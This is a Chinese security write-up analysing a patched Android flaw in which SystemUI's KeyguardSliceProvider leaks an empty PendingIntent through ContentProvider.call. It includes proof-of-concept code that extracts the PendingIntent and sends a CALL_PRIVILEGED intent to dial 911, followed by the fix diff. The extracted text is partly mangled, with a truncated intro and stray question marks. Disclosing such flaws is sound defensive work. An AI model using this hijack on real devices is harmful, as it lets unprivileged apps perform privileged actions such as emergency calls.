Android的特殊攻击面(三)——隐蔽的call函数

0x00 简介
call?。0x01 ContentProvider call
public Bundle call (String method, String arg, Bundle extras) Bundle extras)```query/insert/delete等函数不同,call提供了一种针对Provider的直接操作接口,支持传入的参数分别为:方法、String类型的参数和Bundle类型的参数,并返回给调用者一个Bundle 类型的参数。0x02 双无PendingIntent
```javapublic boolean onCreateSliceProvider() {...mPendingIntent = PendingIntent.getActivity(getContext(), 0, new Intent(), 0);...}return true;}```
0x03 SliceProvider


content://android.settings.slices/action/toggle_nfc这个URI共享给别的应用使用,用户不必打开Settings,就可以在其他应用界面中对NFC开关进行操作。除了显示文字和图标,上述界面也包含两个action:点击文字:跳转到Settings中的NFC设置界面; 点击按钮:直接打开或关闭NFC选项。
```java@Overridepublic Bundle call(String method, String arg, Bundle extras) {if (method.equals(METHOD_SLICE)) {Uri uri = getUriWithoutUserId(validateIncomingUriOrNull(extras.getParcelable(EXTRA_BIND_URI)));List<SliceSpec> supportedSpecs = extras.getParcelableArrayList(EXTRA_SUPPORTED_SPECS);String callingPackage = getCallingPackage();int callingUid = Binder.getCallingUid();int callingPid = Binder.getCallingPid();Slice s = handleBindSlice(uri, supportedSpecs, callingPackage, callingUid, callingPid);Bundle b = new Bundle();b.putParcelable(EXTRA_SLICE, s);return b;} else if (method.equals(METHOD_MAP_INTENT)) {...} else if (method.equals(METHOD_MAP_ONLY_INTENT)) {...} else if (method.equals(METHOD_PIN)) {...} else if (method.equals(METHOD_UNPIN)) {...} else if (method.equals(METHOD_GET_DESCENDANTS)) {...} else if (method.equals(METHOD_GET_PERMISSIONS)) {...}return super.call(method, arg, extras);}```
SliceProvider.handleBindSlice-->onBindSliceStrict-->onBindSlice,中间若通过了Slice访问的权限检查,最终就会进入onBindSlice方法,在SliceProvder中这个方法为空,因此具体实现在派生SliceProvider的子类。0x04 KeyguardSliceProvider
```xml<provider android:name=".keyguard.KeyguardSliceProvider"android:authorities="com.android.systemui.keyguard"android:grantUriPermissions="true"android:exported="true"></provider>```
content://com.android.systemui.keyguard使用call函数,传入METHOD_SLICE,最终进入下面的onBindSlice方法。```java@AnyThread@Overridepublic Slice onBindSlice(Uri sliceUri) {Trace.beginSection("KeyguardSliceProvider#onBindSlice");Slice slice;synchronized (this) {ListBuilder builder = new ListBuilder(getContext(), mSliceUri, ListBuilder.INFINITY);if (needsMediaLocked()) {addMediaLocked(builder);} else {builder.addRow(new RowBuilder(mDateUri).setTitle(mLastText));}addNextAlarmLocked(builder);addZenModeLocked(builder);addPrimaryActionLocked(builder);slice = builder.build();}Trace.endSection();return slice;}```
```javaprotected void addPrimaryActionLocked(ListBuilder builder) {// Add simple action because API requires it; Keyguard handles presenting// its own slices so this action + icon are actually never used.IconCompat icon = IconCompat.createWithResource(getContext(),R.drawable.ic_access_alarms_big);SliceAction action = SliceAction.createDeeplink(mPendingIntent, icon,ListBuilder.ICON_IMAGE, mLastText);RowBuilder primaryActionRow = new RowBuilder(Uri.parse(KEYGUARD_ACTION_URI)).setPrimaryAction(action);builder.addRow(primaryActionRow);}```
mPendingIntent,也就是我们在前文所说的那个双无PendingIntent,该对象会被层层包裹到call函数返回的Slice对象中。因此,通过call函数,经过SliceProvider与KeyguardSliceProvider,有可能拿到SystemUI 生成的一个双无PendingIntent。0x05 SliceProvider授权
```javafinal static String uriKeyguardSlices = "content://com.android.systemui.keyguard";Bundle responseBundle = getContentResolver().call(Uri.parse(uriKeyguardSlices), "bind_slice", null, prepareReqBundle());Slice slice = responseBundle.getParcelable("slice");Log.d("pi", slice.toString());private Bundle prepareReqBundle() {Bundle b = new Bundle();b.putParcelable("slice_uri", Uri.parse(uriKeyguardSlices));ArrayList<Parcelable> supportedSpecs = new ArrayList<Parcelable>();supportedSpecs.add(new SliceSpec("androidx.app.slice.LIST", 1));supportedSpecs.add(new SliceSpec("androidx.slice.LIST", 1));supportedSpecs.add(new SliceSpec("androidx.app.slice.BASIC", 1));b.putParcelableArrayList("supported_specs", supportedSpecs);return b;}```
```shell05-30 08:31:02.306 11449 11449 D pi : slice:05-30 08:31:02.306 11449 11449 D pi : image05-30 08:31:02.306 11449 11449 D pi : text: testAOSPSytemUIKeyguardSliceProvider wants to show System UI slices05-30 08:31:02.306 11449 11449 D pi : int05-30 08:31:02.306 11449 11449 D pi : slice:05-30 08:31:02.306 11449 11449 D pi : image05-30 08:31:02.306 11449 11449 D pi : action```
```javaprivate Slice handleBindSlice(Uri sliceUri, List<SliceSpec> supportedSpecs,String callingPkg, int callingUid, int callingPid) {// This can be removed once Slice#bindSlice is removed and everyone is using// SliceManager#bindSlice.String pkg = callingPkg != null ? callingPkg: getContext().getPackageManager().getNameForUid(callingUid);try {mSliceManager.enforceSlicePermission(sliceUri, pkg,callingPid, callingUid, mAutoGrantPermissions);} catch (SecurityException e) {return createPermissionSlice(getContext(), sliceUri, pkg);}```
```javapublic Slice createPermissionSlice(Context context, Uri sliceUri,String callingPackage) {PendingIntent action;mCallback = "onCreatePermissionRequest";Handler.getMain().postDelayed(mAnr, SLICE_BIND_ANR);try {action = onCreatePermissionRequest(sliceUri);} finally {Handler.getMain().removeCallbacks(mAnr);}```
```java/*** @hide*/public static PendingIntent createPermissionIntent(Context context, Uri sliceUri,String callingPackage) {Intent intent = new Intent(SliceManager.ACTION_REQUEST_SLICE_PERMISSION);intent.setComponent(new ComponentName("com.android.systemui","com.android.systemui.SlicePermissionActivity"));intent.putExtra(EXTRA_BIND_URI, sliceUri);intent.putExtra(EXTRA_PKG, callingPackage);intent.putExtra(EXTRA_PROVIDER_PKG, context.getPackageName());// Unique pending intent.intent.setData(sliceUri.buildUpon().appendQueryParameter("package", callingPackage).build());return PendingIntent.getActivity(context, 0, intent, 0);}```
```javaIntent intent = new Intent("com.android.intent.action.REQUEST_SLICE_PERMISSION");intent.setComponent(new ComponentName("com.android.systemui","com.android.systemui.SlicePermissionActivity"));Uri uri = Uri.parse(uriKeyguardSlices);intent.putExtra("slice_uri", uri);intent.putExtra("pkg", getPackageName());intent.putExtra("provider_pkg", "com.android.systemui");startActivity(intent);```

0x06 PendingIntent劫持题
```shell?sargo:/data/system/slice # logcat -s pi--------- beginning of main05-30 10:40:52.956 12871 12871 D pi : long05-30 10:40:52.956 12871 12871 D pi : slice:05-30 10:40:52.956 12871 12871 D pi : text: Sat, May 3005-30 10:40:52.956 12871 12871 D pi : slice:05-30 10:40:52.956 12871 12871 D pi : action05-30 10:40:52.956 12871 12871 D pi : long```
`PendingIntent?pi?=?slice.getItems().get(2).getSlice().getItems().get(0).getAction();`

```javaBundle responseBundle = getContentResolver().call(Uri.parse(uriKeyguardSlices), "bind_slice", null, prepareReqBundle());Slice slice = responseBundle.getParcelable("slice");Log.d("pi", slice.toString());PendingIntent pi = slice.getItems().get(2).getSlice().getItems().get(0).getAction();Intent evilIntent = new Intent("android.intent.action.CALL_PRIVILEGED");evilIntent.setData(Uri.parse("tel:911"));try {pi.send(getApplicationContext(), 0, evilIntent, null, null);} catch (PendingIntent.CanceledException e) {e.printStackTrace();}```

0x07 修复
```java- mPendingIntent = PendingIntent.getActivity(getContext(), 0, new Intent(), 0);+ mPendingIntent = PendingIntent.getActivity(getContext(), 0,+ new Intent(getContext(), KeyguardSliceProvider.class), 0);```
0x08 参考
[1] https://source.android.com/security/bulletin/2020-06-01
[2] http://retme.net/index.php/2014/11/14/broadAnywhere-bug-17356824.html
[3[https://developer.android.com/reference/android/content/ContentProvider#call(java.lang.String,%20java.lang.String,%20java.lang.String,%20android.os.Bundle)](https://developer.android.com/reference/android/content/ContentProvider#call(java.lang.String, java.lang.String, java.lang.String, android.os.Bundle))
[4] https://bitbucket.org/secure-it-i/android-app-vulnerability-benchmarks/src/master/ICC/WeakChecksOnDynamicInvocation-DataInjection-Lean/
[5] https://developer.android.com/guide/slices
[6] https://proandroiddev.com/android-jetpack-android-slices-introduction-cf0ce0f3e885

关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号随时掌握互联网精彩
- 1 打好关键核心技术攻坚战 7904085
- 2 在南海坠毁的2架美国军机已被捞出 7808600
- 3 立陶宛进入紧急状态 卢卡申科发声 7714035
- 4 持续巩固增强经济回升向好态势 7616639
- 5 多家店铺水银体温计售空 7522593
- 6 奶奶自爷爷去世9个月后变化 7427063
- 7 中国中冶跌10.03% 7330357
- 8 日舰曾收到中方提示 7233825
- 9 仅退款225个快递女子已归案 7139087
- 10 我国成功发射遥感四十七号卫星 7042361







OPPO安全应急响应中心
